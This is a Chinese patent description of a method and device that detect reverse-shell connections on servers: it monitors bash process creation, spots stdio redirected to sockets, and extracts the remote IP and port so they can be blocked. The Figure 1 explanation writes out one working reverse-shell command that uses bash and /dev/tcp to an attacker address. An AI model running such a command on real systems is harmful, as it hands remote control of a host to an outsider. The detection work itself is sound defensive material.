反弹shell网络连接的信息查找方法及装置与流程

本发明涉及计算机技术领域，具体涉及一种反弹shell网络连接的信息查找方法及装置。

背景技术：

现有的网络攻击一般是网站攻击者利用网站存在的漏洞，对网站服务器进行攻击，从而导致安全事件频发，这种攻击不仅对企业形象造成影响还会产生经济损失。其中，通过webshell入侵网站是攻击者常用的攻击手段。web攻击者拿到web服务器的webshell后需要提权，提权需要一个可交互的运行环境，因此攻击者需要先反弹一个可交互的shell，然后在命令行终端执行相关命令进行权限提取等操作。一旦攻击者成功通过反弹shell的交互环境获取到服务器的最高权限后，可继续利用该交互环境对服务器进行其他的攻击和漏洞利用。如果能及时发现某台服务器存在反弹shell，并采取相关措施关闭检测到的反弹shell连接，可在第一时间终止攻击者对web服务器的攻击。

现有的webshell检测技术，重点关注如何查杀后门脚本文件即对webshell脚本文件的查杀。在反弹shell检测方面，现有的专利“201710540141.6一种检测和防范反弹shell的方法和系统”通过捕获执行shell程序的动作，判断shell进程是否带终端属性判断该shell程序是否为反弹shell。如果是反弹shell，则向反弹shell进程发出终止信号，杀死进程，并无法准确地获取到反弹shell网络连接的ip地址及端口号。

技术实现要素：

鉴于上述问题，提出了本发明以便提供一种克服上述问题或者至少部分地解决上述问题的反弹shell网络连接的信息查找方法及装置。

根据本发明的一个方面，提供了一种反弹shell网络连接的信息查找方法，包括：

监听bash进程创建事件；

当监听到bash进程创建时，判断bash进程对应的重定向文件是否为套接字文件；

若是，则确定bash进程为反弹shell进程，根据套接字文件描述符判断是否存在反弹shell网络连接；

若是，则获取反弹shell网络连接的ip地址及端口号。

根据本发明的另一方面，提供了一种反弹shell网络连接的信息查找装置，包括：

监听模块，适于监听bash进程创建事件；

第一判断模块，适于当监听到bash进程创建时，判断bash进程对应的重定向文件是否为套接字文件；

第二判断模块，适于若bash进程对应的重定向文件为套接字文件，则确定bash进程为反弹shell进程，根据套接字文件描述符判断是否存在反弹shell网络连接；

获取模块，适于若根据套接字文件描述符判断存在反弹shell网络连接，则获取反弹shell网络连接的ip地址及端口号。

根据本发明的又一方面，提供了一种计算设备，包括：处理器、存储器、通信接口和通信总线，处理器、存储器和通信接口通过通信总线完成相互间的通信；

存储器用于存放至少一可执行指令，可执行指令使处理器执行上述反弹shell网络连接的信息查找方法对应的操作。

根据本发明的再一方面，提供了一种计算机存储介质，存储介质中存储有至少一可执行指令，可执行指令使处理器执行如上述反弹shell网络连接的信息查找方法对应的操作。

根据本发明提供的方案，监听bash进程创建事件；当监听到bash进程创建时，判断bash进程对应的重定向文件是否为套接字文件；若是，则确定bash进程为反弹shell进程，根据套接字文件描述符判断是否存在反弹shell网络连接；若是，则获取反弹shell网络连接的ip地址及端口号。基于本发明提供的方案，通过判断bash进程对应的重定向文件是否为套接字文件，若是，则根据该套接字文件描述符确定是否存在反弹shell网络连接，由此确认服务器存在反弹shell攻击，两者结合提高了反弹shell检测的准确性，在确定反弹shell网络连接的情况下，获取反弹shell网络连接的ip地址及端口号，可以对ip地址及端口号进行屏蔽处理，以及时终止攻击者想要通过反弹shell进行权限提取及漏洞执行的行为，避免安全事件的发生。

上述说明仅是本发明技术方案的概述，为了能够更清楚了解本发明的技术手段，而可依照说明书的内容予以实施，并且为了让本发明的上述和其它目的、特征和优点能够更明显易懂，以下特举本发明的具体实施方式。

附图说明

通过阅读下文优选实施方式的详细描述，各种其他的优点和益处对于本领域普通技术人员将变得清楚明了。附图仅用于示出优选实施方式的目的，而并不认为是对本发明的限制。而且在整个附图中，用相同的参考符号表示相同的部件。在附图中：

图1为反弹shell示意图；

图2示出了根据本发明一个实施例的反弹shell网络连接的信息查找方法的流程示意图；

图3示出了根据本发明另一个实施例的反弹shell网络连接的信息查找方法的流程示意图；

图4示出了根据本发明一个实施例的反弹shell网络连接的信息查找装置的结构示意图；

图5示出了根据本发明一个实施例的计算设备的结构示意图。

具体实施方式

下面将参照附图更详细地描述本公开的示例性实施例。虽然附图中显示了本公开的示例性实施例，然而应当理解，可以以各种形式实现本公开而不应被这里阐述的实施例所限制。相反，提供这些实施例是为了能够更透彻地理解本公开，并且能够将本公开的范围完整的传达给本领域的技术人员。

图1为反弹shell示意图，在图1所示场景中，目标主机为一个内网主机，没有公网ip地址，攻击者无法从外网发起对目标主机的远程连接，为了获得方便直接操作目标主机的交互环境，就需要对目标主机进行提权操作。攻击者使用获取的webshell执行bash命令：bash-i>&/dev/tcp/119.119.119.119/77770>&1，运行该命令后由目标主机主动发起一个反弹的shell到外网攻击者机器119.119.119.119，获取目标主机的shell终端控制环境。针对这种情况，就需要准确地查找到该反弹shell网络连接的ip地址及端口号，以便阻断反弹shell，防止攻击者对目标主机的攻击。

为了能够实现准确地查找到ip地址及端口号，本发明发明人提出了一种能够及时准确地查找到ip地址及端口号的方法及装置。下面结合具体实施例进行说明。

图2示出了根据本发明一个实施例的反弹shell网络连接的信息查找方法的流程示意图。如图2所示，该方法包括以下步骤：

步骤s200，监听bash进程创建事件。

为了能够及时对反弹shell进行阻断，需要及时发现bash进程是否创建，具体地，可以采用以下方法确定是否创建了bash进程：对bash进程创建事件进行监听，例如，通过循环遍历/proc文件的方式。在本实施例中，监听bash进程创建事件以及时发现创建的bash进程，为阻断反弹shell提供了检测基础。

步骤s201，当监听到bash进程创建时，判断bash进程对应的重定向文件是否为套接字文件，若是，则执行步骤s202。

正常情况下，bash进程会定向到终端设备文件中，例如，/dev/pts/0文件、/dev/pts/1文件。若攻击者通过bash进程进行反弹shell，通常采用重定向技术，重定向到套接字文件中。

为了能够准确地阻断反弹shell，且进一步提升阻断地准确率，避免出现错误阻断的情况，在监听到bash进程创建后，需要做进一步的判断，具体地，判断bash进程对应的重定向文件是否为套接字文件。

步骤s202，确定bash进程为反弹shell进程，根据套接字文件描述符判断是否存在反弹shell网络连接。

在判断出bash进程对应的重定向文件为套接字文件的情况下，可以确定该bash进程为反弹shell进程，该bash进程主动创建一个对外的连接。但是可能存在该进程并未成功发起对应的网络连接，或者对应的网络连接已经断开的情况，因此，需要判断是否存在反弹shell网络连接。

套接字文件对应有相应的套接字文件描述符，这里以fd标记套接字文件描述符，通常情况下，每条网络连接都对应一fd值，因此，可以根据套接字文件描述符fd判断是否存在反弹shell网络连接。

步骤s203，获取反弹shell网络连接的ip地址及端口号。

在根据套接字文件确定存在反弹shell网络连接的情况下，可以根据套接字文件描述符fd获取到反弹shell网络连接的ip地址及端口号。

ip地址和端口号是攻击者实现对目标主机进行漏洞攻击的关键，在获取到ip地址及端口号后，可以对ip地址及端口号进行屏蔽处理，实现拦截ip地址及端口号的出口流量，避免出口流量被输出至目标主机，从而彻底阻止攻击者对反弹shell的利用。

根据本发明上述实施例提供的方法，监听bash进程创建事件；当监听到bash进程创建时，判断bash进程对应的重定向文件是否为套接字文件；若是，则确定bash进程为反弹shell进程，根据套接字文件描述符判断是否存在反弹shell网络连接；若是，则获取反弹shell网络连接的ip地址及端口号。基于本发明提供的方案，通过判断bash进程对应的重定向文件是否为套接字文件，若是，则根据该套接字文件描述符确定是否存在反弹shell网络连接，由此确认服务器存在反弹shell攻击，两者结合提高了反弹shell检测的准确性，在确定反弹shell网络连接的情况下，获取反弹shell网络连接的ip地址及端口号，可以对ip地址及端口号进行屏蔽处理，以及时终止攻击者想要通过反弹shell进行权限提取及漏洞执行的行为，避免安全事件的发生。

图3示出了根据本发明另一个实施例的反弹shell网络连接的信息查找方法的流程示意图。如图3所示，该方法包括以下步骤：

步骤s300，通过内核提供的订阅机制订阅bash进程的创建通知消息。

通过遍历/proc文件的方式监听bash进程，很容易出现，循环遍历/proc文件的频率过高，则会增加服务器系统的运行负载，如果循环遍历/proc文件的频率太低则可能会漏掉运行时间较短的bash进程的情况出现，很容易出现不能及时地阻断反弹shell，导致攻击者成功通过反弹shell进行提权，进行了相应地攻击。

为了能够准确且及时的阻断反弹shell，需要及时发现bash进程创建，因此，本实施例不再采用循环遍历/proc文件的方式发现bash进程的创建，而是通过订阅方式及时发现bash进程的创建，具体地，通过内核提供的订阅机制订阅bash进程的创建通知消息。内核能够捕获到进程创建，并生成创建通知消息，反弹shell网络连接的信息查找装置通过订阅该创建通知消息，获知创建了bash进程。

步骤s301，当接收到创建通知消息时，根据bash进程的进程标识查找bash进程对应的重定向文件。

在接收到创建通知消息时，可以确定创建了bash进程，为了能够准确且及时的进行反弹shell的阻断，需要对bash进程做进一步的判断，判断bash进程是否为反弹shell进程，具体地，可以根据步骤s301-步骤s303中的方法确定bash进程是否为反弹shell进程。

在确定创建了bash进程后，获取到bash进程的进程信息，例如，进程标识pid，在获取到进程标识后，可以根据bash进程的进程标识查找bash进程对应的重定向文件，例如，通过进程标识匹配的方式，确定bash进程对应的重定向文件，其中，bash进程对应的重定向文件为bash进程的标准输入输出及标准错误输出对应的重定向文件。

步骤s302，判断bash进程对应的重定向文件的命名格式是否为预设命名格式，若是，则执行步骤s303；若否，则执行步骤s307。

通常情况下，套接字文件具有固定的命名格式，例如，携带有字符“socket”，这里仅是举例说明，这样，可以通过判断bash进程对应的重定向文件的命名格式是否为预设命名格式，来确定bash进程对应的重定向文件是否为套接字文件。

步骤s303，确定bash进程对应的重定向文件为套接字文件，确定bash进程为反弹shell进程。

在判断出bash进程对应的重定向文件的命名格式为预设命名格式的情况下，可以确定bash进程对应的重定向文件为套接字文件，从而确定bash进程为反弹shell进程。

步骤s304，获取bash进程对应的重定向文件的套接字文件描述符。

在确定了bash进程对应的重定向文件为套接字文件的情况下，可以根据bash进程的进程标识获取bash进程对应的重定向文件的套接字文件描述符，例如，根据进程标识查找/proc/pid/fd文件，得到bash进程对应的重定向文件的套接字文件描述符。

步骤s305，判断所有网络连接中是否存在任一网络连接的套接字文件描述符与bash进程对应的重定向文件的套接字文件描述符相匹配，若是，则执行步骤s306；若否，则方法结束。

反弹shell网络连接的信息查找装置能够获取到所有网络连接的连接信息，其中，每一条网络连接都对应一fd值，因此，可以将bash进程对应的重定向文件的fd与/proc/net/tcp中所有网络连接的fd比较，以确定所有网络连接中是否存在任一网络连接的fd与bash进程对应的重定向文件的fd相匹配，若存在与bash进程对应的重定向文件的fd相同的网络连接，则可以确定该网络连接为反弹shell网络连接；若不存在与bash进程对应的重定向文件的fd相同的网络连接，可以确定该bash进程并未成功发起对应的网络连接，或者对应的网络连接已经断开。

步骤s306，确定该网络连接为反弹shell网络连接，并根据套接字文件描述符获取该网络连接的ip地址及端口号。

在判断出所有网络连接中存在任一网络连接的套接字文件描述符与bash进程对应的重定向文件的套接字文件描述符相匹配的情况下，可以确定该网络连接为反弹shell网络连接，从而可以根据套接字文件描述符获取该网络连接的ip地址及端口号，例如，根据套接字文件描述符从网络连接中的预设字段(如rem_address字段)中获取到ip地址及端口号。

ip地址和端口号是攻击者实现对目标主机进行漏洞攻击的关键，在获取到ip地址及端口号后，可以对ip地址及端口号进行屏蔽处理，实现拦截ip地址及端口号的出口流量，避免出口流量被输出至目标主机，从而彻底阻止攻击者对反弹shell的利用。

步骤s307，确定bash进程对应的重定向文件为终端设备文件，则方法结束。

在bash进程对应的重定向文件的命名格式不是预设命名格式的情况下，可以确定bash进程对应的重定向文件为终端设备文件，bash进程是正常进程，则方法结束。

根据本发明上述实施例提供的方法，通过订阅创建通知消息，可以及时准确地确定创建了bash进程，从而能够及时地阻断反弹shell，防止攻击者进行攻击，解决了现有技术中由于bash进程创建不能被及时发现，导致攻击者可以成功通过反弹shell进行提权的问题。通过判断bash进程对应的重定向文件是否为套接字文件，若是，则根据该套接字文件描述符确定是否存在反弹shell网络连接，由此确认服务器存在反弹shell攻击，两者结合提高了反弹shell检测的准确性，在确定反弹shell网络连接的情况下，获取反弹shell网络连接的ip地址及端口号，可以对ip地址及端口号进行屏蔽处理，以及时终止攻击者想要通过反弹shell进行权限提取及漏洞执行的行为，避免安全事件的发生。

图4示出了根据本发明一个实施例的反弹shell网络连接的信息查找装置的结构示意图。如图4所示，该装置包括：监听模块400、第一判断模块401、第二判断模块402、获取模块403。

监听模块400，适于监听bash进程创建事件；

第一判断模块401，适于当监听到bash进程创建时，判断bash进程对应的重定向文件是否为套接字文件；

第二判断模块402，适于若bash进程对应的重定向文件为套接字文件，则确定bash进程为反弹shell进程，根据套接字文件描述符判断是否存在反弹shell网络连接；

获取模块403，适于若根据套接字文件描述符判断存在反弹shell网络连接，则获取反弹shell网络连接的ip地址及端口号。

可选地，第二判断模块402进一步适于：获取bash进程对应的重定向文件的套接字文件描述符；

判断所有网络连接中是否存在任一网络连接的套接字文件描述符与bash进程对应的重定向文件的套接字文件描述符相匹配；

若是，则确定该网络连接为反弹shell网络连接。

可选地，监听模块400进一步适于：通过内核提供的订阅机制订阅bash进程的创建通知消息。

可选地，第一判断模块401进一步适于：根据bash进程的进程标识查找bash进程对应的重定向文件；

判断bash进程对应的重定向文件的命名格式是否为预设命名格式；

若是，则确定bash进程对应的重定向文件为套接字文件。

可选地，bash进程对应的重定向文件为bash进程的标准输入输出及标准错误输出对应的重定向文件。

根据本发明上述实施例提供的装置，监听bash进程创建事件；当监听到bash进程创建时，判断bash进程对应的重定向文件是否为套接字文件；若是，则确定bash进程为反弹shell进程，根据套接字文件描述符判断是否存在反弹shell网络连接；若是，则获取反弹shell网络连接的ip地址及端口号。基于本发明提供的方案，通过判断bash进程对应的重定向文件是否为套接字文件，若是，则根据该套接字文件描述符确定是否存在反弹shell网络连接，由此确认服务器存在反弹shell攻击，两者结合提高了反弹shell检测的准确性，在确定反弹shell网络连接的情况下，获取反弹shell网络连接的ip地址及端口号，可以对ip地址及端口号进行屏蔽处理，以及时终止攻击者想要通过反弹shell进行权限提取及漏洞执行的行为，避免安全事件的发生。

本申请实施例还提供了一种非易失性计算机存储介质，所述计算机存储介质存储有至少一可执行指令，该计算机可执行指令可执行上述任意方法实施例中的反弹shell网络连接的信息查找方法。

图5示出了根据本发明一个实施例的计算设备的结构示意图，本发明具体实施例并不对计算设备的具体实现做限定。

如图5所示，该计算设备可以包括：处理器(processor)502、通信接口(communicationsinterface)504、存储器(memory)506、以及通信总线508。

其中：

处理器502、通信接口504、以及存储器506通过通信总线508完成相互间的通信。

通信接口504，用于与其它设备比如客户端或其它服务器等的网元通信。

处理器502，用于执行程序510，具体可以执行上述反弹shell网络连接的信息查找方法实施例中的相关步骤。

具体地，程序510可以包括程序代码，该程序代码包括计算机操作指令。

处理器502可能是中央处理器cpu，或者是特定集成电路asic(applicationspecificintegratedcircuit)，或者是被配置成实施本发明实施例的一个或多个集成电路。计算设备包括的一个或多个处理器，可以是同一类型的处理器，如一个或多个cpu；也可以是不同类型的处理器，如一个或多个cpu以及一个或多个asic。

存储器506，用于存放程序510。存储器506可能包含高速ram存储器，也可能还包括非易失性存储器(non-volatilememory)，例如至少一个磁盘存储器。

程序510具体可以用于使得处理器502执行上述任意方法实施例中的反弹shell网络连接的信息查找方法。程序510中各步骤的具体实现可以参见上述反弹shell网络连接的信息查找实施例中的相应步骤和单元中对应的描述，在此不赘述。所属领域的技术人员可以清楚地了解到，为描述的方便和简洁，上述描述的设备和模块的具体工作过程，可以参考前述方法实施例中的对应过程描述，在此不再赘述。

在此提供的算法和显示不与任何特定计算机、虚拟系统或者其它设备固有相关。各种通用系统也可以与基于在此的示教一起使用。根据上面的描述，构造这类系统所要求的结构是显而易见的。此外，本发明也不针对任何特定编程语言。应当明白，可以利用各种编程语言实现在此描述的本发明的内容，并且上面对特定语言所做的描述是为了披露本发明的最佳实施方式。

在此处所提供的说明书中，说明了大量具体细节。然而，能够理解，本发明的实施例可以在没有这些具体细节的情况下实践。在一些实例中，并未详细示出公知的方法、结构和技术，以便不模糊对本说明书的理解。

类似地，应当理解，为了精简本公开并帮助理解各个发明方面中的一个或多个，在上面对本发明的示例性实施例的描述中，本发明的各个特征有时被一起分组到单个实施例、图、或者对其的描述中。然而，并不应将该公开的方法解释成反映如下意图：即所要求保护的本发明要求比在每个权利要求中所明确记载的特征更多的特征。更确切地说，如下面的权利要求书所反映的那样，发明方面在于少于前面公开的单个实施例的所有特征。因此，遵循具体实施方式的权利要求书由此明确地并入该具体实施方式，其中每个权利要求本身都作为本发明的单独实施例。

本领域那些技术人员可以理解，可以对实施例中的设备中的模块进行自适应性地改变并且把它们设置在与该实施例不同的一个或多个设备中。可以把实施例中的模块或单元或组件组合成一个模块或单元或组件，以及此外可以把它们分成多个子模块或子单元或子组件。除了这样的特征和/或过程或者单元中的至少一些是相互排斥之外，可以采用任何组合对本说明书(包括伴随的权利要求、摘要和附图)中公开的所有特征以及如此公开的任何方法或者设备的所有过程或单元进行组合。除非另外明确陈述，本说明书(包括伴随的权利要求、摘要和附图)中公开的每个特征可以由提供相同、等同或相似目的的替代特征来代替。

此外，本领域的技术人员能够理解，尽管在此所述的一些实施例包括其它实施例中所包括的某些特征而不是其它特征，但是不同实施例的特征的组合意味着处于本发明的范围之内并且形成不同的实施例。例如，在下面的权利要求书中，所要求保护的实施例的任意之一都可以以任意的组合方式来使用。

本发明的各个部件实施例可以以硬件实现，或者以在一个或者多个处理器上运行的软件模块实现，或者以它们的组合实现。本领域的技术人员应当理解，可以在实践中使用微处理器或者数字信号处理器(dsp)来实现根据本发明实施例的反弹shell网络连接的信息查找设备中的一些或者全部部件的一些或者全部功能。本发明还可以实现为用于执行这里所描述的方法的一部分或者全部的设备或者装置程序(例如，计算机程序和计算机程序产品)。这样的实现本发明的程序可以存储在计算机可读介质上，或者可以具有一个或者多个信号的形式。这样的信号可以从因特网网站上下载得到，或者在载体信号上提供，或者以任何其他形式提供。

应该注意的是上述实施例对本发明进行说明而不是对本发明进行限制，并且本领域技术人员在不脱离所附权利要求的范围的情况下可设计出替换实施例。在权利要求中，不应将位于括号之间的任何参考符号构造成对权利要求的限制。单词“包含”不排除存在未列在权利要求中的元件或步骤。位于元件之前的单词“一”或“一个”不排除存在多个这样的元件。本发明可以借助于包括有若干不同元件的硬件以及借助于适当编程的计算机来实现。在列举了若干装置的单元权利要求中，这些装置中的若干个可以是通过同一个硬件项来具体体现。单词第一、第二、以及第三等的使用不表示任何顺序。可将这些单词解释为名称。

本发明公开了：a1.一种反弹shell网络连接的信息查找方法，包括：

监听bash进程创建事件；

当监听到bash进程创建时，判断bash进程对应的重定向文件是否为套接字文件；

若是，则确定所述bash进程为反弹shell进程，根据套接字文件描述符判断是否存在反弹shell网络连接；

若是，则获取反弹shell网络连接的ip地址及端口号。

a2.根据a1所述的方法，其中，所述根据套接字文件描述符判断是否存在反弹shell网络连接进一步包括：

获取所述bash进程对应的重定向文件的套接字文件描述符；

判断所有网络连接中是否存在任一网络连接的套接字文件描述符与所述bash进程对应的重定向文件的套接字文件描述符相匹配；

若是，则确定该网络连接为反弹shell网络连接。

a3.根据a1或a2所述的方法，其中，所述监听bash进程创建事件进一步包括：

通过内核提供的订阅机制订阅bash进程的创建通知消息。

a4.根据a1或a2所述的方法，其中，所述判断bash进程对应的重定向文件是否为套接字文件进一步包括：

根据所述bash进程的进程标识查找bash进程对应的重定向文件；

判断所述bash进程对应的重定向文件的命名格式是否为预设命名格式；

若是，则确定所述bash进程对应的重定向文件为套接字文件。

a5.根据a1或a2所述的方法，其中，所述bash进程对应的重定向文件为bash进程的标准输入输出及标准错误输出对应的重定向文件。

b6.一种反弹shell网络连接的信息查找装置，包括：

监听模块，适于监听bash进程创建事件；

第一判断模块，适于当监听到bash进程创建时，判断bash进程对应的重定向文件是否为套接字文件；

第二判断模块，适于若bash进程对应的重定向文件为套接字文件，则确定所述bash进程为反弹shell进程，根据套接字文件描述符判断是否存在反弹shell网络连接；

获取模块，适于若根据套接字文件描述符判断存在反弹shell网络连接，则获取反弹shell网络连接的ip地址及端口号。

b7.根据b6所述的装置，其中，所述第二判断模块进一步适于：

获取所述bash进程对应的重定向文件的套接字文件描述符；

判断所有网络连接中是否存在任一网络连接的套接字文件描述符与所述bash进程对应的重定向文件的套接字文件描述符相匹配；

若是，则确定该网络连接为反弹shell网络连接。

b8.根据b6或b7所述的装置，其中，所述监听模块进一步适于：通过内核提供的订阅机制订阅bash进程的创建通知消息。

b9.根据b6或b7所述的装置，其中，所述第一判断模块进一步适于：根据所述bash进程的进程标识查找bash进程对应的重定向文件；

判断所述bash进程对应的重定向文件的命名格式是否为预设命名格式；

若是，则确定所述bash进程对应的重定向文件为套接字文件。

b10.根据b6或b7所述的装置，其中，所述bash进程对应的重定向文件为bash进程的标准输入输出及标准错误输出对应的重定向文件。

c11.一种计算设备，包括：处理器、存储器、通信接口和通信总线，所述处理器、所述存储器和所述通信接口通过所述通信总线完成相互间的通信；

所述存储器用于存放至少一可执行指令，所述可执行指令使所述处理器执行如a1-a5中任一项所述的反弹shell网络连接的信息查找方法对应的操作。

d12.一种计算机存储介质，所述存储介质中存储有至少一可执行指令，所述可执行指令使处理器执行如a1-a5中任一项所述的反弹shell网络连接的信息查找方法对应的操作。